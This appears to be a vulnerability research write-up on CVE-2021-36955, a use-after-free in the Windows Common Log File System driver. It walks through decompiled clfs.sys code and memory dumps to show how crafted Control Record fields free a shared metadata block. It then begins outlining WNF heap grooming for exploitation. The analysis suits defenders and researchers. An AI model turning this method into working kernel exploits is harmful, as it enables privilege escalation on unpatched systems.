Along with two other similar vulnerabilities, Microsoft patched this vulnerability in September 2021 and assigned the CVEs CVE-2021-36955, CVE-2021-36963, and CVE-2021-38633 to them. In the absence of any public information separating the three CVEs, we’ve decided to use CVE-2021-36955 to refer to the vulnerability described herein.

The Preliminaries section describes CLFS structures, Code Analysis explains the vulnerability with the help of code snippets, and the Exploitation section outlines the steps that lead to a functional exploit.

Preliminaries

Common Log File System (CLFS) provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access. Any user-mode application that needs logging or recovery support can use CLFS. The following structures are taken from both the official documentation and a third-party’s unofficial documentation.

Every Base Log File is made up various records. These records are stored in sectors, which are written to in units of I/O called log blocks. These log blocks are always read and written in an atomic fashion to guarantee consistency.

Metadata Blocks

Every Base Log File is made up of various records. These records are stored in sectors, which are written to in units of I/O called log blocks. The Base Log File is composed of 6 different metadata blocks (3 of which are shadows), which are all examples of log blocks.

The three types of records that exist in such blocks are:

  • Control Record that contains info about layout, extend area and truncate area.
  • Base Record that contains symbol tables and info about the client, container and security contexts.
  • Truncate Record that contains info on every client that needs to have sectors changed as a result of a truncate operation.

Shadow Blocks

Three metadata records were defined above, yet six metadata blocks exist (and each metadata block only contains one record). This is due to shadow blocks, which are yet another technique used for consistency. Shadow blocks contain the previous copy of the metadata that was written, and by using the dump count in the record header, can be used to restore previously known good data in case of torn writes.

The following enumeration describes the six types of metadata blocks.

typedef enum _CLFS_METADATA_BLOCK_TYPE
{
    ClfsMetaBlockControl,
    ClfsMetaBlockControlShadow,
    ClfsMetaBlockGeneral,
    ClfsMetaBlockGeneralShadow,
    ClfsMetaBlockScratch,
    ClfsMetaBlockScratchShadow
} CLFS_METADATA_BLOCK_TYPE, *PCLFS_METADATA_BLOCK_TYPE;

Control Record

The Control Record is always composed of two sectors, as defined by the constant below:

const USHORT CLFS_CONTROL_BLOCK_RAW_SECTORS = 2;

The Control Record is defined by the structure CLFS_CONTROL_RECORD, which is shown below:

typedef struct _CLFS_CONTROL_RECORD
{
    CLFS_METADATA_RECORD_HEADER hdrControlRecord;
    ULONGLONG ullMagicValue;
    UCHAR Version;
    CLFS_EXTEND_STATE eExtendState;
    USHORT iExtendBlock;
    USHORT iFlushBlock;
    ULONG cNewBlockSectors;
    ULONG cExtendStartSectors;
    ULONG cExtendSectors;
    CLFS_TRUNCATE_CONTEXT cxTruncate;
    USHORT cBlocks;
    ULONG cReserved;
    CLFS_METADATA_BLOCK rgBlocks[ANYSIZE_ARRAY];
} CLFS_CONTROL_RECORD, *PCLFS_CONTROL_RECORD;

After Version, the next set of fields are all related to CLFS Log Extension. This data could potentially be non-zero in memory, but for a stable Base Log File on disk, all of these fields are expected to be zero. This does not, of course, imply the CLFS driver or code necessarily makes this assumption.

The first CLFS Log Extension field, eExtendState, identifies the current extend state for the file using the enumeration below:

typedef enum _CLFS_EXTEND_STATE
{
    ClfsExtendStateNone,
    ClfsExtendStateExtendingFsd,
    ClfsExtendStateFlushingBlock
} CLFS_EXTEND_STATE, *PCLFS_EXTEND_STATE;

The next two values iExtendBlock and iFlushBlock identify the index of the block being extended, followed by the block being flushed, the latter of which will normally be the shadow block. Next, the sector size of the new block is stored in cNewBlockSectors and the original sector size before the extend operation is stored in cExtendStartSectors. Finally, the number of sectors that were added is saved in cExtendSectors.

  • Block Context: The control record ends with the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File. Although this is expected to be 6, there could potentially exist additional metadata blocks, and so for forward support, the cBlocks field
    indicates the number of blocks in the array.

Each array entry is identified by the CLFS_METADATA_BLOCK structure, shown below:

typedef struct _CLFS_METADATA_BLOCK
{
    union
    {
        PUCHAR pbImage;
        ULONGLONG ullAlignment;
    };
    ULONG cbImage;
    ULONG cbOffset;
    CLFS_METADATA_BLOCK_TYPE eBlockType;
} CLFS_METADATA_BLOCK, *PCLFS_METADATA_BLOCK;

On disk, the cbOffset field indicates the offset, starting from the control metadata block (i.e.: the first sector in the Base Log File). Of where the metadata block can be found. The cbImage field, on the other hand, contains the size of the corresponding block, while the eBlockType
corresponds to the previously shown enumeration of possible metadata block types.

In memory, an additional field, pbImage, is used to store a pointer to the data in kernel-mode memory.

CLFS In-Memory Class

Once in memory, a CLFS Base Log File is represented by a CClfsBaseFile class, which can be further extended by a CClfsBaseFilePersisted. The definition for the former can be found in public symbols and is shown below:

struct _CClfsBaseFile
{
    ULONG m_cRef;
    PUCHAR m_pbImage;
    ULONG m_cbImage;
    PERESOURCE m_presImage;
    USHORT m_cBlocks;
    PCLFS_METADATA_BLOCK m_rgBlocks;
    PUSHORT m_rgcBlockReferences;
    CLFSHASHTBL m_symtblClient;
    CLFSHASHTBL m_symtblContainer;
    CLFSHASHTBL m_symtblSecurity;
    ULONGLONG m_cbContainer;
    ULONG m_cbRawSectorSize;
    BOOLEAN m_fGeneralBlockReferenced;
} CClfsBaseFile, *PCLFSBASEFILE;

These fields mainly represent data seen earlier, such as the size of the container, the sector size, the array of metadata blocks and their number, as well as the size of the whole Base Log File and its location in kernel mode memory. Additionally, the class is reference counted, and almost any access to any of its fields is protected by the m_presImage lock, which is an executive resource accessed in either shared or exclusive mode. Finally, each block itself is also referenced in the m_rgcBlockReferences array, noting there’s a limit of 65535 references. When the general block has been referenced at least once, the m_fGeneralBlockReferenced boolean is used to indicate the fact.

Code Analysis

All code listings show decompiled C code; source code is not available in the affected product.
Structure definitions are obtained by reverse engineering and may not accurately reflect structures defined in the source code.

Opening a Log File

The CreateLogFile() function in the Win32 API can be used to open an existing log. This function triggers a call to CClfsBaseFilePersisted::OpenImage() in clfs.sys. The pseudocode of CClfsBaseFilePersisted::OpenImage() is listed below:

long __thiscall
CClfsBaseFilePersisted::OpenImage
          (CClfsBaseFilePersisted *this,_UNICODE_STRING *ExtFileName,_CLFS_FILTER_CONTEXT *ClfsFilterContext,
          unsigned_char param_3,unsigned_char *param_4)

{

[Truncated]

[1]

    Status = CClfsContainer::Open(this->CclfsContainer,ExtFileName,ClfsFilterContext,param_3,local_48);
    if ((int)Status < 0) {
LAB_fffff801226897c8:
        StatusDup = Status;
        if (Status != 0xc0000011) goto LAB_fffff80122689933;
    }
    else {
        StatusDup = Status;
        UVar4 = CClfsContainer::GetRawSectorSize(this->field_0x98_CclfsContainer);
        this->rawsectorSize = UVar4;
        if ((0xfff < UVar4 - 1) || ((UVar4 & 0x1ff) != 0)) {
            Status = 0xc0000098;
            StatusDup = Status;
            goto LAB_fffff80122689933;
        }

[2]

        Status = ReadImage(this,&ClfsControlRecord);
        if ((int)Status < 0) goto LAB_fffff801226897c8;
        StatusDup = Status;
        Status = CClfsContainer::GetContainerSize(this->CclfsContainer,&this->ContainerSize);
        StatusDup = Status;
        if ((int)Status < 0) goto LAB_fffff80122689933;
        ClfsBaseLogRecord = CClfsBaseFile::GetBaseLogRecord((CClfsBaseFile *)this);
        ControlRecord = ClfsControlRecord;
        if (ClfsBaseLogRecord != NULL) {

[Truncated]

[3]

            if (ClfsControlRecord->eExtendState == 0) goto LAB_fffff80122689933;
            Block = ClfsControlRecord->iExtendBlock;
            if (((((Block != 0) && (Block < this->m_cBlocks)) && (Block < 6)) &&
                ((Block = ClfsControlRecord->iFlushBlock, Block != 0 && (Block < this->m_cBlocks)))) &&
               ((Block < 6 &&
                (m_cbContainer = CClfsBaseFile::GetSize((CClfsBaseFile *)this),
                ControlRecord->cExtendStartSectors < m_cbContainer >> 9 ||
                ControlRecord->cExtendStartSectors == m_cbContainer >> 9)))) {
                cExtendSectors>>1 = ControlRecord->cExtendSectors >> 1;
                uVar8 = (this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9) + cExtendSectors>>1;
                if (ControlRecord->cNewBlockSectors < uVar8 || ControlRecord->cNewBlockSectors == uVar8) {

[4]

                    Status = ExtendMetadataBlock(this,(uint)ControlRecord->iExtendBlock,cExtendSectors>>1);
                    StatusDup = Status;
                    goto LAB_fffff80122689933;
                }
            }
        }
    }

[Truncated]

}

After initializing some in-memory data structures, CClfsContainer:Open() is called to open the existing Base Log File at [1]. ReadImage() is then called to read the Base Log File at [2]. If the current extend state in the Extend Context is not ClfsExtendStateNone(0) at [3], the
possibility to expand the Base Log File is explored.

If the original sector size before the previous extension (ControlRecord->cExtendStartSectors) is less than or equal to the current sector size of
the Base Log File (m_cbContainer), and the sector size of the Block (to be expanded) after the previous extension (ControlRecord->cNewBlockSectors) is less than or equal to the latest required sector size (current sector size of the Block to be expanded this->m_rgBlocks[ControlRecord->iExtendBlock].cbImage >> 9 plus the number of sectors previously added cExtendSectors >> 1), the Base Log File needs expansion. ExtendMetadataBlock() is duly called at [4].

Note:

  • In all non-malicious cases, the current extend state is expected to be ClfsExtendStateNone(0) when the log file is written to disk.
  • Since the Extend Context is under attacker control (described below), all the fields discussed above can be set by the attacker.

Reading Base Log File

The CClfsBaseFilePersisted::ReadImage() function called at [2] is responsible for reading the Base Log File from disk. The pseudocode of this function is listed below:

int CClfsBaseFilePersisted::ReadImage
              (CClfsBaseFilePersisted *BaseFilePersisted,_CLFS_CONTROL_RECORD **ClfsControlRecordPtr)

{

[Truncated]

[5]

    BaseFilePersisted->m_cBlocks = 6;
    m_rgBlocks = (CLFS_METADATA_BLOCK *)ExAllocatePoolWithTag(0x200,0x90,0x73666c43);
    BaseFilePersisted->m_rgBlocks = m_rgBlocks;

[Truncated]

[6]

        memset(BaseFilePersisted->m_rgBlocks,0,(ulonglong)BaseFilePersisted->m_cBlocks * 0x18);
        memset(BaseFilePersisted->m_rgcBlockReferences,0,(ulonglong)BaseFilePersisted->m_cBlocks * 2);

[7]

        BaseFilePersisted->m_rgBlocks->cbOffset = 0;
        BaseFilePersisted->m_rgBlocks->cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbOffset = BaseFilePersisted->m_cbRawSectorSize * 2;
        BaseFilePersisted->m_rgBlocks[1].cbImage = BaseFilePersisted->m_cbRawSectorSize * 2;

[8]

        local_48 = CClfsBaseFile::GetControlRecord((CClfsBaseFile *)BaseFilePersisted,ClfsControlRecordPtr);

[9]

                        p_Var2 = BaseFilePersisted->m_rgBlocks->pbImage;
                        for (; (uint)indexIter < (uint)BaseFilePersisted->m_cBlocks;
                            indexIter = (ulonglong)((uint)indexIter + 1)) {
                            ControlRecorD = *ClfsControlRecordPtr;
                            pCVar3 = BaseFilePersisted->m_rgBlocks;
                            pCVar1 = ControlRecorD->rgBlocks + indexIter;
                            uVar6 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
                            uVar5 = pCVar1->cbImage;
                            uVar7 = pCVar1->cbOffset;
                            m_rgBlocks = pCVar3 + indexIter;
                            *(undefined4 *)&m_rgBlocks->pbImage = *(undefined4 *)&pCVar1->pbImage;
                            *(undefined4 *)((longlong)&m_rgBlocks->pbImage + 4) = uVar6;
                            m_rgBlocks->cbImage = uVar5;
                            m_rgBlocks->cbOffset = uVar7;
                            pCVar3[indexIter].eBlockType = ControlRecorD->rgBlocks[indexIter].eBlockType;
                            BaseFilePersisted->m_rgBlocks[indexIter].pbImage = NULL;
                        }
                        BaseFilePersisted->m_rgBlocks->pbImage = p_Var2;
                        BaseFilePersisted->m_rgBlocks[1].pbImage = p_Var2;

[10]

                        local_48 = CClfsBaseFile::AcquireMetadataBlock(BaseFilePersisted,ClfsMetaBlockGeneral);
                        if (-1 < (int)local_48) {
                            BaseFilePersisted->field_0x94 = '\x01';
                        }
                        goto LAB_fffff80654e09f9e;

[Truncated]

}

The in-memory buffer of the rgBlocks array, which defines the set of metadata blocks that exist in the Base Log File, is allocated (m_rgBlocks) at [5]. Each array entry is identified by the CLFS_METADATA_BLOCK structure, which is of size 0x18. The cBlocks field, which indicates the number of blocks in the array, is set to the default value 6 (Hence, the size of allocation for m_rgBlocks is 0x18 * 6 = 0x90).

The content in m_rgBlocks is initialized to 0 at [6]. The first two entries in m_rgBlocks are for the Control Record and its shadow, both of which have a fixed size of 0x400. The sizes and offsets for these blocks are duly set at [7].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  00000000`00000000 00000000`00000400
ffffc60c`53904390  00000000`00000000 00000000`00000000
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

CClfsBaseFile::GetControlRecord() is called to retrieve the Control Record from the Base Log File at [8]. The pbImage field in the first two entries in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks contains the following values:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000000
ffffc60c`539043b0  00000000`00000000 00000000`00000000
ffffc60c`539043c0  00000000`00000000 00000000`00000000
ffffc60c`539043d0  00000000`00000000 00000000`00000000
ffffc60c`539043e0  00000000`00000000 00000000`00000000
ffffc60c`539043f0  00000000`00000000 00000000`00000000
ffffc60c`53904400  00000000`00000000 00000000`00000000

The rgBlocks array from the Control Record is copied into m_rgBlocks at [9]. Thus, the sizes and corresponding offsets of each of the metadata blocks is saved.

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 00000000`00000000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

AcquireMetadataBlock() is called with the second parameter set to ClfsMetaBlockGeneral to read in the General Metadata Block from the Base Log File at [10]. The pbImage field for the corresponding entry and its shadow in m_rgBlocks are duly populated. More on this below.

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer [17] and [20]).

Reading Control Record

Internally, CClfsBaseFilePersisted::ReadImage() calls CClfsBaseFile::GetControlRecord() to retrieve the Control Record. The pseudocode of
CClfsBaseFile::GetControlRecord() is listed below:

long __thiscall CClfsBaseFile::GetControlRecord(CClfsBaseFile *this,_CLFS_CONTROL_RECORD **ClfsControlRecordptr)

{
    uint iVar4;
    astruct_12 *lVar3;
    _CLFS_LOG_BLOCK_HEADER *pbImage;
    uint RecordOffset;
    uint cbImage;

    *ClfsControlRecordptr = NULL;

[11]

    iVar4 = AcquireMetadataBlock((CClfsBaseFilePersisted *)this,0);
    if (-1 < (int)iVar4) {
        cbImage = this->m_rgBlocks->cbImage;
        ControlMetadataBlock = this->m_rgBlocks->pbImage;
        RecordOffset = pbImage->RecordOffsets[0];
        if (((RecordOffset < cbImage) && (0x6f < RecordOffset)) && (0x67 < cbImage - RecordOffset)) {

[12]

            *ClfsControlRecordptr =
                 (_CLFS_CONTROL_RECORD *)((longlong)ControlMetadataBlock->RecordOffsets + ((ulonglong)RecordOffset - 0x28));
        }
        else {
            iVar4 = 0xc01a000d;
        }
    }
    return (long)iVar4;
}

AcquireMetadataBlock() is called with the second parameter of type _CLFS_METADATA_BLOCK_TYPE set to ClfsMetaBlockControl (0) to acquire the
Control MetaData Block at [11]. The record offset is retrieved and used to calculate the address of the Control Record, which is saved at [12].

Acquiring Metadata Block

The CClfsBaseFile::AcquireMetadataBlock() function is used to acquire a metadata block. The pseudocode of this function is listed below:

int CClfsBaseFile::AcquireMetadataBlock
              (CClfsBaseFilePersisted *ClfsBaseFilePersisted,_CLFS_METADATA_BLOCK_TYPE BlockType)

{
    ulong lVar1;
    longlong BlockTypeDup;

    lVar1 = 0;
    if (((int)BlockType < 0) || ((int)(uint)ClfsBaseFilePersisted->m_cBlocks <= (int)BlockType)) {
        lVar1 = 0xc0000225;
    }
    else {
        BlockTypeDup = (longlong)(int)BlockType;

[13]

        ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
             ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] + 1;

[14]

        if ((ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] == 1) &&
           (lVar1 = (*ClfsBaseFilePersisted->vftable->field_0x8)(ClfsBaseFilePersisted,BlockType), (int)lVar1 < 0))
        {
            ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] =
                 ClfsBaseFilePersisted->m_rgcBlockReferences[BlockTypeDup] - 1;
        }
    }
    return (int)lVar1;
}

The m_rgcBlockReferences entry for the Control Metadata Block is increased by 1 to signal its usage at [13].

If the reference count is 1, it is clear the Control Metadata Block was not being actively used (prior to this). In this case, it needs to be read from disk. The second entry in the virtual function table is set to CClfsBaseFilePersisted::ReadMetadataBlock(), which is duly called at [14].

Read Metadata Block

The CClfsBaseFilePersisted::ReadMetadataBlock() function is used to read a metadata block from disk. The pseudocode of this function is listed below:

ulong __thiscall
CClfsBaseFilePersisted::ReadMetadataBlock(CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType)

{

[Truncated]

[15]

    cbImage = this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;
    cbOffset = (PIRP)(ulonglong)this->m_rgBlocks[(longlong)_BlockTypeDup].cbOffset;
    if (cbImage == 0) {
        uVar3 = 0;
    }
    else {
        if (0x6f < cbImage) {

[16]

            ClfsMetadataBlock =
                 (_CLFS_LOG_BLOCK_HEADER *)ExAllocatePoolWithTag(PagedPoolCacheAligned,(ulonglong)cbImage,0x73666c43);
            if (ClfsMetadataBlock == NULL) {
                uVar1 = 0xc000009a;
            }
            else {

[17]

                this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage = ClfsMetadataBlock;
                memset(ClfsMetadataBlock,0,(ulonglong)cbImage);
                *(undefined4 *)&this->field_0xc8 = 0;
                this->field_0xd0 = 0;
                local_40 = local_40 & 0xffffffff00000000;
                local_50 = CONCAT88(local_50._8_8_,ClfsMetadataBlock);

[18]

                uVar5 = CClfsContainer::ReadSector
                                  ((ULONG_PTR)this->CclfsContainer,this->ObjectBody,NULL,(longlong *)local_50,
                                   cbImage >> 9,&cbOffset);
                uVar3 = (ulong)uVar5;
                if (((int)uVar3 < 0) ||
                   (uVar3 = KeWaitForSingleObject(this->ObjectBody,Executive,'\0','\0',NULL), (int)uVar3 < 0))
                goto LAB_fffff801226841ad;
                this_00 = (CClfsBaseFilePersisted *)ClfsMetadataBlock;

[19]

                uVar3 = ClfsDecodeBlock(ClfsMetadataBlock,cbImage >> 9,*(unsigned_char *)&ClfsMetadataBlock->UpdateCount
                                        ,(unsigned_char)0x10,local_res20);

[Truncated]

                    ShadowBlockType = BlockType + ClfsMetaBlockControlShadow;
                    uVar6 = (ulonglong)ShadowBlockType;

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage = NULL;
                            this->m_rgBlocks[ShadowBlockTypeDup].cbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].cbImage;

[20]

                            this->m_rgBlocks[ShadowBlockTypeDup].pbImage =
                                 this->m_rgBlocks[(longlong)_BlockTypeDup].pbImage;

[Truncated]

The size of the Metadata block to be read is retrieved and saved in cbImage. Note that these sizes are stored in the Control Record of the Base Log File.

To read the Control Record, the hardcoded value is taken at [15], as the Control Record is of a fixed size. Memory (ClfsMetadataBlock) is allocated to read the metadata block from disk at [16]. The corresponding pbImage entry in m_rgBlocks is filled in and ClfsMetadataBlock is initialized to 0 at [17]. The function CClfsContainer::ReadSector() is called to read the specified number of sectors from disk at [18].

ClfsMetadataBlock now contains the exact contents of the metadata Block as present in the file. It is important to note that the Control Metadata Block contains the Control Context as described earlier. Thus, the contents of the Control Context are fully controlled by the attacker.
ClfsMetadataBlock is decoded via a call to ClfsDecodeBlock at [19]. It is also important to note that in the case of the Control Metadata Block, this does not modify any field in the Control Context. The corresponding shadow pbImage entry in m_rgBlocks is also set to ClfsMetadataBlock at [20].

Extending Metadata Block

The call to ExtendMetadataBlock() at [4] is used to extend the size of a particular metadata block in the Base Log File. The pseudocode of this function pertaining to when the current extend state is ClfsExtendStateFlushingBlock(2) is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlock
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE BlockType,unsigned_long cExtendSectors>>1)
{

[Truncated]

    do {
        ret = retDup;
        if (*ExtendPhasePtr != 2) break;
        iFlushBlockPtr = &ClfsControlRecordDup->iFlushBlock;
        iExtendBlockPtr = &ClfsControlRecordDup->iExtendBlock;

[21]

        iFlushBlock = *iFlushBlockPtr;
        iFlushBlockDup = (ulonglong)iFlushBlock;
        iExtendBlock = *iExtendBlockPtr;
        iFlushBlockDup2 = (uint)iFlushBlock;

[22]

        if (((iFlushBlock == iExtendBlock) ||
            (uVar4 = IsShadowBlock(this_00,iFlushBlockDup2,(uint)iExtendBlock),
            uVar4 != (unsigned_char)0x0)) &&
           (this->m_rgBlocks[iFlushBlockDup].cbImage >> 9 <
            ClfsControlRecordDup->cNewBlockSectors)) {
            ExtendMetadataBlockDescriptor
                      (this,iFlushBlockDup2,
                       ClfsControlRecordDup->cExtendSectors >> 1);
            iFlushBlockDup = (ulonglong)*iFlushBlockPtr;
        }
        WriteMetadataBlock(this,(uint)iFlushBlockDup & 0xffff,(unsigned_char)0x0);
        if (*puVar1 == *puVar2) {
            *ExtendPhasePtr = 0;
        }
        else {
            *puVar1 = *puVar1 - 1;

[23]

            ret = ProcessCurrentBlockForExtend(this,ClfsControlRecordDup);
            retDup = ret;
            if ((int)ret < 0) break;
        }

[Truncated]

The index of the block being extended (iFlushBlock) and the block being flushed (iExtendBlock) are extracted from the Extend Context in the Control Record of the Base Log File at [21]. With specially crafted values of the above fields and cNewBlockSectors at [22], code execution reaches ProcessCurrentBlockForExtend() at [23]. ProcessCurrentBlockForExtend() internally calls ExtendMetadataBlockDescriptor(), whose pseudocode is listed below:

long __thiscall
CClfsBaseFilePersisted::ExtendMetadataBlockDescriptor
          (CClfsBaseFilePersisted *this,_CLFS_METADATA_BLOCK_TYPE iFlushBlock,unsigned_long cExtendSectors>>1)

{

[Truncated]

    iFlushBlockDup = (ulonglong)iFlushBlock;
    NewMetadataBlock = NULL;
    RecordHeader = NULL;
    iVar13 = 0;
    uVar3 = this->m_cbRawSectorSize;
    if (uVar3 == 0) {
        NewSize = 0;
    }
    else {
        NewSize = (uVar3 - 1) + this->m_rgBlocks[iFlushBlockDup].cbImage + cExtendSectors>>1 * 0x200 & -uVar3;
    }
    RecordsParamsPtr = this->m_rgBlocks;
    pCVar1 = RecordsParamsPtr + iFlushBlockDup;
    uVar4 = *(undefined4 *)&pCVar1->pbImage;
    uVar5 = *(undefined4 *)((longlong)&pCVar1->pbImage + 4);
    uVar3 = pCVar1->cbImage;
    uVar6 = pCVar1->cbOffset;
    CVar2 = RecordsParamsPtr[iFlushBlockDup].eBlockType;
    ShadowIndex._0_4_ = iFlushBlock + ClfsMetaBlockControlShadow;
    ShadowIndex = (ulonglong)(uint)ShadowIndex;
    uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,iFlushBlock,(uint)ShadowIndex);
    if ((uVar7 == (unsigned_char)0x0) &&
       (uVar7 = IsShadowBlock((CClfsBaseFilePersisted *)ShadowIndex,(unsigned_long)ShadowIndex,iFlushBlock),
       uVar7 != (unsigned_char)0x0)) {
        if (RecordsParamsPtr[iFlushBlockDup].pbImage != NULL) {

[24]

            ExFreePoolWithTag(RecordsParamsPtr[iFlushBlockDup].pbImage,0);
            this->m_rgBlocks[iFlushBlockDup].pbImage = NULL;
            RecordsParamsPtr = this->m_rgBlocks;
            ShadowIndex = (ulonglong)(iFlushBlock + ClfsMetaBlockControlShadow);
        }

[25]

        RecordsParamsPtr[iFlushBlockDup].cbImage = RecordsParamsPtr[ShadowIndex].cbImage;
        m_rgBlocksDup = this->m_rgBlocks;
        m_rgBlocksDup[iFlushBlockDup].pbImage = m_rgBlocks[ShadowIndex].pbImage;

[Truncated]


With carefully crafted values in the Control Record of the Base Log File, code execution reaches [24].

At this stage, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

It is important to note that the pbImage field for the General Metadata Block and its shadow point to the same memory (refer to [17] and [20]). The pbImage field of the iFlushBlock index in m_rgBlocks is freed, and the corresponding entry is cleared at [24]. For example, if iFlushBlock is set to 2, m_rgBlocks looks like the following in memory:

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  00000000`00000000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

The entry is then repopulated with the shadow index entry at [25].

ffffc60c`53904380  ffffb60a`b7c79b40 00000000`00000400
ffffc60c`53904390  00000000`00000000 ffffb60a`b7c79b40
ffffc60c`539043a0  00000400`00000400 00000000`00000001
ffffc60c`539043b0  ffffb60a`b9ead000 00000800`00007a00
ffffc60c`539043c0  00000000`00000002 ffffb60a`b9ead000
ffffc60c`539043d0  00008200`00007a00 00000000`00000003
ffffc60c`539043e0  00000000`00000000 0000fc00`00000200
ffffc60c`539043f0  00000000`00000004 00000000`00000000
ffffc60c`53904400  0000fe00`00000200 00000000`00000005

Since the original entry and the shadow index entry pointed to the same memory, the repopulation leaves a reference to freed memory. Any use of the General Metadata Block will refer to this freed memory, resulting in a Use After Free.

The vulnerability can be converted to a double free by closing the handle to the Base Log File. This will trigger a call to FreeMetadataBlock, which will free all pbImage entries in m_rgBlocks.

Exploitation

A basic understanding of the segment heap in the windows kernel introduced since the 19H1 update is required to understand the exploit mechanism. The paper titled “Scoop the Windows 10 pool!” from SSTIC 2020 describes this mechanism in detail.

Windows Notification Facility

Objects from Windows Notification Facility (WNF) are used to groom the heap and convert the use after free into a full exploit. A good understanding of WNF is thus required to understand the exploit. The details about WNF described below are taken from the following sources:

Creating WNF State Name

When a WNF State Name is created via a call to NtCreateWnfStateName(), ExpWnfCreateNameInstance() is called internally to create a name
instance. The pseudocode of ExpWnfCreateNameInstance() is listed below:

ExpWnfCreateNameInstance
          (_WNF_SCOPE_INSTANCE *ScopeInstance,_WNF_STATE_NAME *StateName,undefined4 *param_3,_KPROCESS *param_4,
          _EX_RUNDOWN_REF **param_5)

{

[Truncated]

    uVar23 = (uint)((ulonglong)StateName >> 4) & 3;
    if ((PsInitialSystemProcess == Process) || (uVar23 != 3)) {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {
            SVar20 = 0xa8;
        }
        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithTag(PagedPool,SVar20,0x20666e57);
    }
    else {
        SVar20 = 0xb8;
        if (*(longlong *)(param_3 + 2) == 0) {

[1]

            SVar20 = 0xa8;
        }

[2]

        NameInstance = (_WNF_NAME_INSTANCE *)ExAllocatePoolWithQuotaTag(9,SVar20,0x20666e57);
    }


A chunk of size 0xa8 (as seen at [1]) is allocated from the Paged Pool at [2] as a structure of type _WNF_NAME_INSTANCE. This results in an allocation of size 0xc0 from the LFH. This structure is listed below:

struct _WNF_NAME_INSTANCE
{
    struct _WNF_NODE_HEADER Header;                                         //0x0
    struct _EX_RUNDOWN_REF RunRef;                                          //0x8
    struct _RTL_BALANCED_NODE TreeLinks;                                    //0x10

    // [3]

    struct _WNF_STATE_NAME_STRUCT StateName;                                //0x28
    struct _WNF_SCOPE_INSTANCE* ScopeInstance;                              //0x30
    struct _WNF_STATE_NAME_REGISTRATION StateNameInfo;                      //0x38
    struct _WNF_LOCK StateDataLock;                                         //0x50

    // [4]

    struct _WNF_STATE_DATA* StateData;                                      //0x58
    ULONG CurrentChangeStamp;                                               //0x60
    VOID* PermanentDataStore;                                               //0x68
    struct _WNF_LOCK StateSubscriptionListLock;                             //0x70
    struct _LIST_ENTRY StateSubscriptionListHead;                           //0x78
    struct _LIST_ENTRY TemporaryNameListEntry;                              //0x88

    // [5]

    struct _EPROCESS* CreatorProcess;                                       //0x98
    LONG DataSubscribersCount;                                              //0xa0
    LONG CurrentDeliveryCount;                                              //0xa4
}; 

